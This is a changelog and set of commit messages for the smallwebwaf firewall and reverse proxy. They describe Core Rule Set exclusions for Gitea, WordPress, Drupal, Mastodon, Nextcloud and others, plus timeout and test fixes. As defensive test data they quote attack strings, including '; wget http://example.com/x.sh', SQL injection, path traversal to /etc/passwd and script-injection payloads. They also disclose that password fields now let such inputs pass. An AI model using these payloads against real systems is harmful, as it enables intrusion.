The binary is sww, run as sww rproxy or sww waf (formerly servewaf); the program is still smallwebwaf. The waf mode's settings start SWW_ (formerly SWWAF_); rproxy's stay SWRP_. Admin endpoints are under /_sww/, request headers are X-Sww-*, metrics are sww_, and the image keeps state in /var/lib/sww.
Each of the waf mode's checks is its own module, and every refusal or ban log line names the check that made it, with its figures.
Each request gets tags. SWW_TAG_DENY refuses by tag and SWW_TAG_LIMIT_PERCENT lowers limits by tag.
With SWW_ROUTEWATCH_URL set, each request also gets asn= and prefix= tags from a routewatch instance.
The request log's action values are renamed so they say what they mean, and banned splits into temporarily_banned and permanently_banned.
Log fields, metrics, one alert event and the Core Rule Set package are renamed to say what they are. Timings end _ms.
make publish builds the image on the Docker host and pushes it to the registry under four tags. A real build and push from this branch has not been tried.
The Core Rule Set lets the ordinary requests of Gitea, Forgejo, WordPress, Drupal, MediaWiki, Mastodon, Vaultwarden and Nextcloud through by default, and the files about deploying behind Gitea are gone. On all but Gitea, an ordinary request on a field their changes do not name can still be refused.
Coraza is pinned to an untagged commit on its main branch. With v3.8.1, concurrent requests could take each other's Core Rule Set exclusions, refusing ordinary requests or letting attacks through (#254).
rproxy passes the WebDAV methods (PROPFIND, LOCK and seven more) to waf instead of answering 405; the Core Rule Set still refuses them outside an app that uses them.
Random passwords pass at sign-in on WordPress, Drupal, MediaWiki, Mastodon and Nextcloud. In those password fields, SQL injection, path traversal, shell commands and event-handler script injection now pass; <script> tags and javascript: are still refused.
When SWRP_MAX_RESPONSE_TIME_MS runs out as an answer starts, the visitor gets a 504 or the answer, never a closed connection: rproxy's own answers, and the status and headers of the app's, get at least 10 seconds to be sent. A visitor that stops sending its body after the app has answered gets the answer at once, and the connection closes; so does one whose answer is cut off by that limit, including an answer that arrives before the app has the whole request and then stalls.
The header limits (more than 50 cookies or 100 header fields, answered 431) are the first check after SWW_ALLOW_NETS: such a request causes no lookup and no Core Rule Set, is not counted by the rate limits, and makes no ban.
Caches of outside services (GeoJS, fetched lists, DNS blocklists, AbuseIPDB scores, routewatch) live in their own files in SWW_CACHE_DIR, default /var/cache/sww, which the image creates and which needs no volume or backup. State that must survive stays in SWW_STATE_DIR, which the image now also creates when missing, owned by sww with mode 0700; that mode is set at every start, on a mounted volume too.
Every time is stored, logged and compared in UTC, whatever TZ says, and AbuseIPDB's daily count keeps its day as YYYY-MM-DD.
From a peer outside SWRP_TRUSTED_PROXIES, rproxy removes every X-Forwarded- header, also spelt with underscores, so a client connecting directly cannot claim HTTPS with X-Forwarded-Ssl or X-Forwarded-Scheme.
The request log writes &, < and > in query strings and referers as sent, so grep finds them.
A quieter image build.
AGENTS.md holds the rules for agents working on the repository, and SPEC.md states the trusted-proxy default.
The documents say which bytes the byte limits count and what passing one does, and other unclear sentences are rewritten.
To deploy: a deployment's environment must use the new setting names and SWW_COMMAND (waf or rproxy). SWW_ASN_LIMIT_PERCENT, SWW_COUNTRY_LIMIT_PERCENT and SWW_DENIED_COUNTRIES are gone: use the tag settings. An existing clients.json holding the offence key rule_blocked stops the start: remove the file. So does one holding waf_blocked or the anomaly scope watch. reputation.json is no longer read and can be deleted; the AbuseIPDB checks spent that day start again from zero. SWW_ALERT_EVENTS listing waf_block must list core_rule_set_match.
Merged into next:
Core Rule Set: the searches of the pages gitea and Forgejo share pass (closes#352): #364
SWW_APPS: an app's Core Rule Set fixes apply only to the hostnames that serve it: #225
Core Rule Set: a repository's name passes in the adopt form's id (closes#365): #367
Core Rule Set: gitea and Forgejo file and branch names in bodies pass (closes#346): #361
Read every setting through viper (closes#211): #219
Core Rule Set: Ghost posts and code injection take a script element (closes#358): #368
rproxy test: send the body over its limit without Connection: close (closes#371): #372
Core Rule Set: a Ghost post's or page's canonical URL passes when it names a command or a file (closes#374): #376
rproxy: read the rest of a Connection: close visitor's body after an early answer (closes#373): #375
Core Rule Set: Ghost's remaining fields pass with words that name commands (closes#359): #369
Rename the settings whose names do not say what they control (closes#234): #370
Core Rule Set: the API searches gitea and Forgejo share pass (closes#353): #377
Core Rule Set: the package registries' searches of gitea and Forgejo pass (closes#354): #378
Remove the CrowdSec decision feed (closes#315): #384
rproxy passes the app the client's AS number and country by default (closes#379): #382
waf: refuse request lines and header lines over 8 KiB first (closes#339): #380
Docs: rproxy runs behind any TLS-terminating reverse proxy (closes#388): #391
README: blocks misbehaving scrapers, not normal ones (closes#387): #390
README: what rproxy gives an app without waf (closes#386): #389
rproxy: circuit breaker for asks to waf (closes#392): #393
waf: decide every visitor request within rproxy's timeout (closes#394): #395
Remove every reference to our own servers (closes#396): #397
rproxy: breaker test no longer needs each failed ask to reach waf (closes#398): #399
coreruleset: time worst-case inspections against reference work (closes#400): #402
GeoJS lookup as a package of its own: a visitor's wait no longer cuts off the request to GeoJS (closes#404): #407
waf: run the trap paths, rule files and Core Rule Set during the GeoJS wait (closes#405): #408
reputation: run the DNSBL resolver test in parallel (closes#406): #409
Model: opus-5-5
`next` holds, beyond `main`:
- The binary is `sww`, run as `sww rproxy` or `sww waf` (formerly `servewaf`); the program is still smallwebwaf. The `waf` mode's settings start `SWW_` (formerly `SWWAF_`); `rproxy`'s stay `SWRP_`. Admin endpoints are under `/_sww/`, request headers are `X-Sww-*`, metrics are `sww_`, and the image keeps state in `/var/lib/sww`.
- Each of the `waf` mode's checks is its own module, and every refusal or ban log line names the check that made it, with its figures.
- Each request gets tags. `SWW_TAG_DENY` refuses by tag and `SWW_TAG_LIMIT_PERCENT` lowers limits by tag.
- With `SWW_ROUTEWATCH_URL` set, each request also gets `asn=` and `prefix=` tags from a routewatch instance.
- The request log's `action` values are renamed so they say what they mean, and `banned` splits into `temporarily_banned` and `permanently_banned`.
- Log fields, metrics, one alert event and the Core Rule Set package are renamed to say what they are. Timings end `_ms`.
- `make publish` builds the image on the Docker host and pushes it to the registry under four tags. A real build and push from this branch has not been tried.
- The Core Rule Set lets the ordinary requests of Gitea, Forgejo, WordPress, Drupal, MediaWiki, Mastodon, Vaultwarden and Nextcloud through by default, and the files about deploying behind Gitea are gone. On all but Gitea, an ordinary request on a field their changes do not name can still be refused.
- Coraza is pinned to an untagged commit on its `main` branch. With v3.8.1, concurrent requests could take each other's Core Rule Set exclusions, refusing ordinary requests or letting attacks through (https://git.eeqj.de/sneak/smallwebwaf/issues/254).
- `rproxy` passes the WebDAV methods (`PROPFIND`, `LOCK` and seven more) to `waf` instead of answering `405`; the Core Rule Set still refuses them outside an app that uses them.
- Random passwords pass at sign-in on WordPress, Drupal, MediaWiki, Mastodon and Nextcloud. In those password fields, SQL injection, path traversal, shell commands and event-handler script injection now pass; `<script>` tags and `javascript:` are still refused.
- When `SWRP_MAX_RESPONSE_TIME_MS` runs out as an answer starts, the visitor gets a 504 or the answer, never a closed connection: `rproxy`'s own answers, and the status and headers of the app's, get at least 10 seconds to be sent. A visitor that stops sending its body after the app has answered gets the answer at once, and the connection closes; so does one whose answer is cut off by that limit, including an answer that arrives before the app has the whole request and then stalls.
- The header limits (more than 50 cookies or 100 header fields, answered `431`) are the first check after `SWW_ALLOW_NETS`: such a request causes no lookup and no Core Rule Set, is not counted by the rate limits, and makes no ban.
- Caches of outside services (GeoJS, fetched lists, DNS blocklists, AbuseIPDB scores, routewatch) live in their own files in `SWW_CACHE_DIR`, default `/var/cache/sww`, which the image creates and which needs no volume or backup. State that must survive stays in `SWW_STATE_DIR`, which the image now also creates when missing, owned by `sww` with mode `0700`; that mode is set at every start, on a mounted volume too.
- Every time is stored, logged and compared in UTC, whatever `TZ` says, and AbuseIPDB's daily count keeps its day as `YYYY-MM-DD`.
- From a peer outside `SWRP_TRUSTED_PROXIES`, `rproxy` removes every `X-Forwarded-` header, also spelt with underscores, so a client connecting directly cannot claim HTTPS with `X-Forwarded-Ssl` or `X-Forwarded-Scheme`.
- The request log writes `&`, `<` and `>` in query strings and referers as sent, so `grep` finds them.
- A quieter image build.
- `AGENTS.md` holds the rules for agents working on the repository, and `SPEC.md` states the trusted-proxy default.
- The documents say which bytes the byte limits count and what passing one does, and other unclear sentences are rewritten.
To deploy: a deployment's environment must use the new setting names and `SWW_COMMAND` (`waf` or `rproxy`). `SWW_ASN_LIMIT_PERCENT`, `SWW_COUNTRY_LIMIT_PERCENT` and `SWW_DENIED_COUNTRIES` are gone: use the tag settings. An existing `clients.json` holding the offence key `rule_blocked` stops the start: remove the file. So does one holding `waf_blocked` or the anomaly scope `watch`. `reputation.json` is no longer read and can be deleted; the AbuseIPDB checks spent that day start again from zero. `SWW_ALERT_EVENTS` listing `waf_block` must list `core_rule_set_match`.
Merged into `next`:
- Core Rule Set: the searches of the pages gitea and Forgejo share pass (closes #352): https://git.eeqj.de/sneak/smallwebwaf/pulls/364
- SWW_APPS: an app's Core Rule Set fixes apply only to the hostnames that serve it: https://git.eeqj.de/sneak/smallwebwaf/pulls/225
- Core Rule Set: a repository's name passes in the adopt form's id (closes #365): https://git.eeqj.de/sneak/smallwebwaf/pulls/367
- Core Rule Set: gitea and Forgejo file and branch names in bodies pass (closes #346): https://git.eeqj.de/sneak/smallwebwaf/pulls/361
- Core Rule Set: Ghost's ordinary requests pass by default (closes #357): https://git.eeqj.de/sneak/smallwebwaf/pulls/360
- Read every setting through viper (closes #211): https://git.eeqj.de/sneak/smallwebwaf/pulls/219
- Core Rule Set: Ghost posts and code injection take a script element (closes #358): https://git.eeqj.de/sneak/smallwebwaf/pulls/368
- rproxy test: send the body over its limit without Connection: close (closes #371): https://git.eeqj.de/sneak/smallwebwaf/pulls/372
- Core Rule Set: a Ghost post's or page's canonical URL passes when it names a command or a file (closes #374): https://git.eeqj.de/sneak/smallwebwaf/pulls/376
- rproxy: read the rest of a Connection: close visitor's body after an early answer (closes #373): https://git.eeqj.de/sneak/smallwebwaf/pulls/375
- Core Rule Set: Ghost's remaining fields pass with words that name commands (closes #359): https://git.eeqj.de/sneak/smallwebwaf/pulls/369
- Rename the settings whose names do not say what they control (closes #234): https://git.eeqj.de/sneak/smallwebwaf/pulls/370
- Core Rule Set: the API searches gitea and Forgejo share pass (closes #353): https://git.eeqj.de/sneak/smallwebwaf/pulls/377
- Core Rule Set: the package registries' searches of gitea and Forgejo pass (closes #354): https://git.eeqj.de/sneak/smallwebwaf/pulls/378
- Remove the CrowdSec decision feed (closes #315): https://git.eeqj.de/sneak/smallwebwaf/pulls/384
- rproxy passes the app the client's AS number and country by default (closes #379): https://git.eeqj.de/sneak/smallwebwaf/pulls/382
- waf: refuse request lines and header lines over 8 KiB first (closes #339): https://git.eeqj.de/sneak/smallwebwaf/pulls/380
- Docs: rproxy runs behind any TLS-terminating reverse proxy (closes #388): https://git.eeqj.de/sneak/smallwebwaf/pulls/391
- README: blocks misbehaving scrapers, not normal ones (closes #387): https://git.eeqj.de/sneak/smallwebwaf/pulls/390
- README: what rproxy gives an app without waf (closes #386): https://git.eeqj.de/sneak/smallwebwaf/pulls/389
- rproxy: circuit breaker for asks to waf (closes #392): https://git.eeqj.de/sneak/smallwebwaf/pulls/393
- waf: decide every visitor request within rproxy's timeout (closes #394): https://git.eeqj.de/sneak/smallwebwaf/pulls/395
- Remove every reference to our own servers (closes #396): https://git.eeqj.de/sneak/smallwebwaf/pulls/397
- rproxy: breaker test no longer needs each failed ask to reach waf (closes #398): https://git.eeqj.de/sneak/smallwebwaf/pulls/399
- coreruleset: time worst-case inspections against reference work (closes #400): https://git.eeqj.de/sneak/smallwebwaf/pulls/402
- GeoJS lookup as a package of its own: a visitor's wait no longer cuts off the request to GeoJS (closes #404): https://git.eeqj.de/sneak/smallwebwaf/pulls/407
- waf: run the trap paths, rule files and Core Rule Set during the GeoJS wait (closes #405): https://git.eeqj.de/sneak/smallwebwaf/pulls/408
- reputation: run the DNSBL resolver test in parallel (closes #406): https://git.eeqj.de/sneak/smallwebwaf/pulls/409
Model: opus-5-5
xz-utils, which nix-bin depends on, links its man pages with update-alternatives when it installs, and the image's dpkg config drops man pages, so each link printed a warning. A config file re-includes only the man1 pages for this install; the same step deletes them, their dangling links in /etc/alternatives and the config file. No man page or package is added or removed.
Model: deepseek-v4-pro
Each discriminator check is now a type in its own file behind one small interface, listed in `heuristics.go`. Adding a heuristic is one file and one line. Behaviour does not change.
Refusal and ban log lines gain `heuristic` and `heuristic_figures`. A ban after the answer, by `refusal_limit` or `byte_limits`, logs `after_answer_heuristic` and its figures, so one line can name both.
Deviation: four lists, not the planned three, so `refusal_limit` still bans at the decision.
Rule suppressed: `//nolint:lll` on one struct tag.
Model: opus-5-5
`script/publish` runs `script/docker` against the Docker host and pushes the image to the registry under four tags: the UTC date, the short commit hash, the branch name and `latest`. It refuses a working tree with uncommitted changes, since the hash tag names a commit.
Also carries sneak's `golines -m 77` line wrapping in three files, with no code change.
Unverified: a real build on the Docker host and a real push from this commit.
Deviation: sneak's FIXME comments are out, because the linter refuses them; they are #227, #228 and #229.
Model: opus-5-5
Co-authored-by: sneak <sneak@sneak.berlin>
Each request gets tags, logged as `tags`: `asn=`, `country=`, one per `SWW_TAG_LISTS` list holding the client, `crowdsec`, `dnsbl=<zone>`, `abuseipdb` and `exploitsignature`. `SWW_TAG_DENY` refuses by tag and `SWW_TAG_LIMIT_PERCENT` lowers limits by tag. They replace `SWW_ASN_LIMIT_PERCENT`, `SWW_COUNTRY_LIMIT_PERCENT` and `SWW_DENIED_COUNTRIES`, with no aliases. A tag in those settings that nothing configured can give stops the start.
Judgement call: `SWW_ASN_LIMIT_PERCENT_URL` stays, its entries counting like `asn=` tags.
Judgement call: `SWW_TAG_LIMIT_PERCENT` also lowers byte limits, as the settings it replaces did.
Trips a reader: `sww_country_list_refusals_total` now counts only `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES` refusals.
Model: opus-5-5
sneak asked for every document to be audited for sentences that do not say what they mean. The byte limits now say which bytes count (response bodies, request bodies or both, as `SWW_BYTES_COUNT` says, WebSocket traffic included) and what passing one does. Other unclear or false sentences in `README.md`, `SPEC.md`, `EVALUATION.md` and `docs/` are rewritten.
Documents only. `REPO_POLICIES.md` is shared policy text and stayed out.
Model: fable-5-1 (first audit); opus-5-5 (rework)
With `SWW_ROUTEWATCH_URL` set, a new heuristic, `routewatch_tags`, adds `asn=<number>` and `prefix=<netblock>` to a request from what a routewatch instance answers about the client. New package `internal/routewatch` asks in the background, never on a request's path, and keeps answers 1 hour in memory. The request log gains `routewatch_tags_missing`, saying why a request has none. `prefix=` works in `SWW_TAG_DENY` and `SWW_TAG_LIMIT_PERCENT`.
Trips a reader: a client's first request has no routewatch tags, so `prefix=` refuses from its next request after the answer comes.
Judgement call: with `SWW_LOOKUP_SOURCE=off` and `SWW_ROUTEWATCH_URL` set, an `asn=` tag no longer stops the start.
Model: opus-5-5
The request log's `action` values now say what they mean, as sneak named them: `request_header_too_large`, `client_is_rate_limited`, `blocked_by_block_rule` and `client_denied`, with no aliases. `banned` splits into `temporarily_banned` and `permanently_banned`, by whether the ban runs out. When a permanent ban also covers a client, that ban is the one reported.
Trips a reader: a request over a rate limit stays `client_is_rate_limited` even when the ban it makes is permanent.
Disclosure: the offence key `rule_blocked` is renamed in `clients.json` too, so an existing file holding it stops the start and must be removed. Its `version` stays 1.
Model: opus-5-5
The first half of the naming audit: names now say what they are. `internal/waf` is `internal/coreruleset`. Log fields, the action `blocked_by_core_rule_set`, the metric and the alert event say Core Rule Set. Timings end `_ms`. Percentages say of what, as `rate_limit_percent` and `bytes_limit_percent`. Setting names follow in #234.
Judgement call: `blocked_by_core_rule_set`, not the audit's `core_rule_set_blocked`, to match `blocked_by_block_rule`.
Trips a reader: an existing state file holding `waf_blocked` or the anomaly scope `watch` stops the start and must be removed. `SWW_ALERT_EVENTS` listing `waf_block` must list `core_rule_set_match`.
Model: opus-5-5
Add the ninth change: wordpress.conf switches off, per path and field, each
rule that refused ordinary WordPress 7.1.4 requests. Three groups of fields
skip four rules on system files and commands, and only the addresses of the
first group also skip 932235. Add the recorded requests, a test at the
defaults and reading bodies, and list WordPress in the README.
Model: opus-5-5 (rework); sonnet-5-5 (copied the recorded lines)
Adds drupal.conf, the tenth change: on Drupal's paths, the fields that
carry a search, a name, a file name or an address skip the rules that
refused ordinary requests there. The recorded requests from Drupal 11.4
pass at the defaults and while bodies are read; SQL injection, path
traversal and script injection stay refused on those fields. Drupal's
tests share the reader of recorded requests and the attack constants
with the other apps' tests.
Model: opus-5-5
AGENTS.md holds the branching model, the entrypoints, the editing rule
and two iron rules: query strings are logged as received, and the
trusted-proxy default is the RFC 1918 set. README links it; SPEC.md
step 2 now states that default and that a given list replaces it.
Model: opus-5-5
Each field skips only the rules its recorded requests set off:
- page on all of wp-admin, and the JSON fields title, excerpt and name
on /wp/v2/ routes: 930120, 932120, 932250 and 932260;
- p, postId and slug on all of wp-admin, and the JSON slug on /wp/v2/
routes: 932120 and 932260, since WordPress writes these as slugs;
- url on the block editor's link previews and embeds, and a commenter's
url: 930120 and 932120.
Every field keeps 932235. Add 61 requests recorded from WordPress 7.1.4
with these fields.
Model: opus-5-5
A Drupal and a WordPress request are inspected at once, many times
over, on one Core Rule Set. Coraza v3.8.1 shares each rule's
exclusions between requests, so the test fails under -race.
Model: opus-5-5
Coraza v3.8.1 shares a rule's ctl:ruleRemoveTargetById exclusions
between concurrent requests, so one request can be checked with
another's. Coraza's main fixed it in its pull request 1745; no release
carries it yet, so go.mod names commit d028be399c68 by its
pseudo-version.
Model: opus-5-5
Names, searches and the page to return to on more Drupal paths skip
the rules that misfire on them: 930120, 932120, 932250 and 932260,
plus 932230 and 932235 on destination only. An email address skips
930120, 932120 and 932260; the oEmbed url only 930120 and 932120.
Every Drupal path may carry a language prefix: a first segment of two
or three lowercase letters, such as /fr. Requests recorded from Drupal
11.4.11 with plain words, python3, powershell, ls -la and .htaccess are
added to the test data; tests show attacks and "; wget ..." still
refused on each new field.
Model: opus-5-5
Tests now share one Core Rule Set for each set of settings, loaded once
through sync.OnceValues in shared(). Exclusions-file tests and
TestCorazaWritesNoFile still load their own: loading is what they check.
Loading was not most of the time: the WordPress and Drupal recorded
requests, inspected one after another, were. Each recorded request now
runs as its own parallel subtest, with the same request and outcome.
Model: opus-5-5
Four tests closed a test server or stopped discriminator, and then
connected to its port. Another test process could take that port in
between and receive the connection.
- TestUnreachableRouteWatchLetsTheRequestThroughAndSaysWhy and
TestUnreachableRoutewatchFailsTheQueryAndTheLogOmitsTheClient, formerly
TestRefusedConnection..., point routewatch at 224.0.0.1, a multicast
address to which TCP cannot connect.
- TestStalledRemoteLogEndpointHoldsUpNoRequest keeps its endpoint open
and closes each connection it takes, instead of closing the endpoint.
- TestTheSiteAnswersWhileDiscriminatorIsStoppedAndStartedAgain gives
rproxy an address the test holds throughout. The test forwards each
connection there to the running discriminator, and closes it while
discriminator is stopped.
No change to non-test code.
Model: opus-5-5
POST /user/password?_format=json with a name of python3, powershell,
ls -la or .htaccess was refused while bodies are read. On that path,
the JSON field name now skips 930120, 932120, 932250 and 932260, the
four rules those recorded names set off, unless the query has a
json.name parameter. Recorded from Drupal 11.4.11.
Model: opus-5-5
Adds mediawiki.conf, the eleventh change: on MediaWiki's paths, the fields
that carry a search, a title, a name, a file name or an address skip the
four rules that read them as commands or system files, and the wikitext
fields skip the rules that refused saving a page. The reasons on the admin
pages skip only 930120 and 932120. /index.php counts as MediaWiki's only
with a page title in its query or after its path, since WordPress serves it
too. The requests recorded from MediaWiki 1.46.2, with and without short
URLs and on the admin pages, pass at the defaults and while bodies are
read. The app tests share the check of recorded requests and the list of
hard values.
Model: opus-5-5
The Drupal and MediaWiki tests repeated the SQL and script attack strings,
which goconst reports. They now use the existing constant injection and a
new constant scriptTag.
Model: opus-5-5
POST /user/password?_format=json with a mail of python3@example.com or
powershell@example.com was refused while bodies are read. On that path,
the JSON field mail now skips 932120 and 932260, the two rules the
recorded addresses set off, unless the query has a json.mail parameter.
Recorded from Drupal 11.4.11.
Model: opus-5-5
On /api.php, letitle and the generator fields gapto, gapprefix, gaifrom,
gaiprefix and geuquery skip 930120, 932120, 932250 and 932260, as the
fields they stand in for do.
On MediaWiki's pages, wpTitles from Special:EditWatchlist/raw, one title
per line, always skips 930120, 932120 and 932250. It skips 932125,
932230, 932235, 932260 and 932380 only when the body sends it once and it
holds no ";", "|", "&", backtick or "{", checked by a phase 2 rule. So
"; wget http://example.com/x.sh" is still refused.
Recorded from MediaWiki 1.46.2 at the digest the first MediaWiki change
used.
Model: opus-5-5
Rule 900600 took paths of an owner named api for gitea's search, issues,
pull requests and commit search inside a repository. /api/v2/search,
Mastodon's search, /api/v2/issues and /api/v2/pulls were among them, so
attacks in q scored 0 there. gitea has no owner named api, so a chained
condition now leaves out each of those paths under /api/<x>/. Go's regular
expressions have no lookahead, so the exclusion cannot be written inside
the pattern.
Model: opus-5-5
Rule 900601 let Referer skip five rules when it named a repository's
search, issues or pull requests with the owner api, such as
/api/v2/search, Mastodon's search. A page opened from there skipped
script and SQL injection checks on Referer. gitea has no owner named
api, so a chained condition now leaves out those paths, as rule 900600
does.
Model: opus-5-5
Adds mastodon.conf, the twelfth change. On Mastodon's paths, the fields
that carry a search, a name, a title, an address, a password or free text
skip the four rules that read them as commands or system files. They cover
the API and the web app's JSON, the admin and settings pages, sign-up and
sign-in, and the objects other servers deliver to an inbox. A post's text
skips 932125, 932230 and 932235 too. Hashtags and sign-up usernames skip
only 932120 and 932260. Uploaded file names skip 932180, a report's
forward keys skip 930120 by name, and the Accept header of a link lookup
skips 920600 on profile and post links. The requests recorded from
Mastodon 4.7.5 pass at the defaults and while bodies are read.
Model: opus-5-5
user[email] on /auth and the paths under it skips 930120, 932120 and
932260. They refused signing up, signing in and resetting a password
with addresses such as python3@example.com, powershell@example.com and
jane.profile@example.com. The field keeps 932250 and every other rule.
Recorded from Mastodon 4.7.5: sign-up, sign-in, password reset and an
email change.
Model: opus-5-5
Adds vaultwarden.conf, the thirteenth change, with rule ids 900150 to
900153. On Vaultwarden's account, organization and admin paths, names and
password hints skip 930120, 932120, 932250 and 932260, and so does a
security key's name. Email addresses skip 930120, 932120 and 932260
there, on the two-factor email paths and when signing in with another
device. So does the address of the admin page's test email. The data
breach report's address does too. The encrypted names of uploaded
attachments and file sends skip 920120. Requests recorded from
Vaultwarden 1.37.5 through the web vault, the Bitwarden command line
client and the admin page pass at the defaults and while bodies are read.
Model: opus-5-5
rproxy now passes PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT,
SEARCH, LOCK and UNLOCK to discriminator instead of answering 405, so
Nextcloud's Files app and sync client work. The Core Rule Set's 911100
still refuses them wherever no app's exclusions allow them.
Model: opus-5-5
wantRecordedRequestsPass inspects a recorded request with neither a body
nor a Content-Type header only at the defaults, as the WordPress test does
for a request with no body. With neither, the set that reads bodies has
nothing more to check: what it adds picks how to read a body from the
Content-Type, then reads the body. Every other request is still inspected
both ways. This cuts the package's CPU time under -race by about a fifth.
Model: opus-5-5
Adds nextcloud.conf, the fourteenth change. Nextcloud's WebDAV paths allow
PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK and UNLOCK, and
the body of a PUT there, an uploaded file, is not read. The cookie
nc_username, and the fields that carry a search, a name, a file name or a
folder, skip the four rules that read them as commands or system files.
Comments, a share's note, a status and a document's text also skip the rules
that refused ordinary sentences, and the document the two that refused a
shell code block. Requests recorded from Nextcloud 35.0.2, its web pages, sync
client 3.16.7 and the OCS API pass at the defaults and while bodies are read.
Model: opus-5-5
rproxy passes MKCALENDAR on. nextcloud.conf allows it on
/remote.php/dav/calendars/ and PROPFIND on /.well-known/caldav and
carddav. The XML of an MKCOL there skips 930120, 932120, 932250 and
932260. That of an MKCALENDAR, and of an MKCOL on the address books'
paths, also skips 932125 and 932230, for the description. A PUT of
text/calendar or text/vcard there skips 920530: the Calendar and
Contacts apps name the charset twice when they change an event or a
contact.
Recorded from Nextcloud 35.0.2 with Calendar 6.6.5, Contacts 8.9.5 and
requests imitating DAVx5.
Model: opus-5-5
The tests that check the apps' recorded requests move to
internal/coreruleset/recorded_test.go, behind the recorded build tag. The
test phase runs only those tests in a second go test, without -race. The
lint phase reads the same file, with the same tag.
The Gitea and WordPress tests are split in two. Their recorded-request loops
become TestOrdinaryGiteaRequestsPass and TestOrdinaryWordPressRequestsPass;
their attack checks stay in the race pass as TestGiteaAttacksAreRefused and
TestWordPressAttacksAreRefused.
Model: opus-5-5
TestOrdinaryWordPressRequestsPass skipped the inspection that reads
bodies for a request with no body, including one with a Content-Type.
It now calls wantRecordedRequestsPass.
Model: opus-5-5
A password manager's random password set off 35 Core Rule Set rules,
about 1 in 40 refused. The password fields the app exclusions name now
skip those rules on their paths: WordPress pwd, Drupal pass, MediaWiki
wpPassword, lgpassword and password, Mastodon's sign-in, sign-up,
password change, move and delete passwords, and Nextcloud's sign-in
password. The tests draw 2,000 random passwords from a fixed seed, plus
one rare password for each rule the 2,000 do not set off. Those that set
off a rule in a field no exclusion names are sent to every password
field. `' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and
`<img src=x onerror=x()>` sent as a password now pass;
`<script>alert(1)</script>` and `javascript:alert(1)` are still refused.
Model: opus-5-5
The race pass and the recorded-request pass are now separate stages, which
BuildKit runs at once. The test stage is built from scratch, so writing its
image takes no time.
Model: opus-5-5
Each app's sign-in, sign-up, password change and reset fields that had no
exclusion now skip the 35 rules random passwords set off, on that app's
paths and only when the query has no field of that name. Added gitea,
Vaultwarden's admin token, WordPress pass1/pass2/post_password and its REST
password, Drupal's forms and JSON, MediaWiki retype and password on the
pages that take them, Mastodon's challenge, and Nextcloud's confirm, reset,
change, share, LDAP renewal, encryption and OCS fields. Vaultwarden's
clients send a hash, which needs no exclusion.
Model: opus-5-5
A visitor could get a closed connection and no answer when
SWRP_MAX_RESPONSE_TIME_MS ran out about when the answer started: the
write deadline passed before the first byte was written.
- An answer rproxy gives itself has at least 10 seconds to be sent.
- An app's answer that arrives once the time has run out is answered
504.
- Otherwise the app's status and headers are sent at once, before the
body is read, with at least 10 seconds. The exact limit applies to
the rest.
Model: opus-5-5
/wp-admin/network/profile.php posts pass1 and pass2 to itself. The
exclusion that lets them skip the random-password rules on WordPress's
other profile pages now names it too.
Model: opus-5-5
When the app answered before the visitor's body had arrived whole, Go's
server read up to 256 KiB of the rest before it sent the answer. A
visitor that stopped sending got nothing until SWRP_MAX_REQUEST_TIME_MS
ran out, and no bytes at all once that was past the 10 seconds the
status has to be sent.
Such an answer now carries Connection: close, which Go sends at once.
finish first ends the transport's read of the body: once the handler
returns, Go's server reads the rest with no deadline while another read
of it waits. requestBody.Close does nothing, so that ReverseProxy's
close does not wait on the visitor.
Model: opus-5-5
An answer rproxy gives itself, such as a deny or a refusal, waited while
Go's server read up to 256 KiB of a body that had not arrived whole. A
visitor that stopped sending got nothing until SWRP_MAX_REQUEST_TIME_MS
ran out, and no bytes at all once that was past the 10 seconds the
answer has to be sent.
send now sets Connection: close in that case, as modifyResponse does for
the app's answer; both call closeAfterAnswer. requestTimedOut no longer
ends that read of Go's server, which no longer happens, so the time the
app's answer started is no longer noted.
Model: opus-5-5
Of internal/coreruleset's tests, the race pass runs only those written to
check concurrent inspection, selected by the name prefix TestConcurrent.
Every other test of the package moves to the pass that runs the recorded
requests, without the race detector. Other packages run under -race as
before. The 90-second limit stays.
Model: opus-5-5
A wiki in another language posts its sign-up, password change and
new-password forms to its own names for the special pages, such as
Spezial:Benutzerkonto_anlegen. So password and retype no longer match on
the English page name. They skip the rules when authAction names the
form that sends them: change, create or login-continue. MediaWiki sends
the same value in every language. The page must still be MediaWiki's,
with a namespace in its title, so another app's paths under /index.php/
keep every rule. The two rules move to phase 2 to read the body.
Adds requests recorded from a German MediaWiki 1.46.2.
Model: opus-5-5
The two tests that send sixteen thousand cookies checked the answer time
on the wall clock, which a busy host can push past the bound. They no
longer check how long the answer took. The first is renamed to say what
it checks: a 431 before the Core Rule Set reads the request.
TestARefusedRequestDoesNotWaitForASlowGeoJS still checks that a refusal
over the header limits waits on nothing.
Model: opus-5-5
The command is now `sww waf`, and the package is `internal/waf`. Types,
functions, files, tests, comments, docs, the Dockerfile, the runit
script, `script/`, compose examples, the log field `waf_line` and the
`X-From-Waf` test header follow. No behaviour changes, and no setting
changes name: rproxy already finds the waf through `SWRP_WAF_BACKEND`.
Done with one `sed -i` (Discriminator and DISCRIMINATOR to WAF,
discriminator to waf) over the files `git grep -i discriminator`
listed, as sneak allowed for this rename, then `git mv` for the
package and files. By hand afterwards: the header's spelling, which
the linter requires, and the padding after `waf` in `sww`'s usage
text.
Model: opus-5-5
Every time the program stores, logs or compares is in UTC, whatever TZ says, and AbuseIPDB's day in `reputation.json` is a `YYYY-MM-DD` date. Times read from a state file are converted to UTC as they are read, so a file is written back with `Z` times only. A test runs `sww waf` with `TZ=Pacific/Kiritimati` and checks the process line, the request line and `clients.json`. `SPEC.md` states the rule and `AGENTS.md` makes it an iron rule.
- The rate limit's `day` and `day_bytes` buckets keep a start time: each is a 24-hour bucket begun at an instant, not a calendar day.
- New dependency `cloud.google.com/go`, of which only `civil` is built.
- No migration: a `reputation.json` holding the old day form fails to load, naming the file.
Model: opus-5-5
Test only. The over-1 MiB cases of `TestAnAnswerThatCannotBePassedOnIsAnswered502`, and `TestAnAnswerThatCannotBePassedOnGetsNoReport`, which sends the same answer, left `SWRP_TIMEOUT_MS` at 2 s. On a loaded host `rproxy` applied `SWRP_DEFAULT_DISPOSITION` before it had read the whole answer, and the tests, which want `502`, failed. They now set `SWRP_TIMEOUT_MS` to `60000`, as the file's other tests do where that limit is not what they test.
Model: opus-5-5
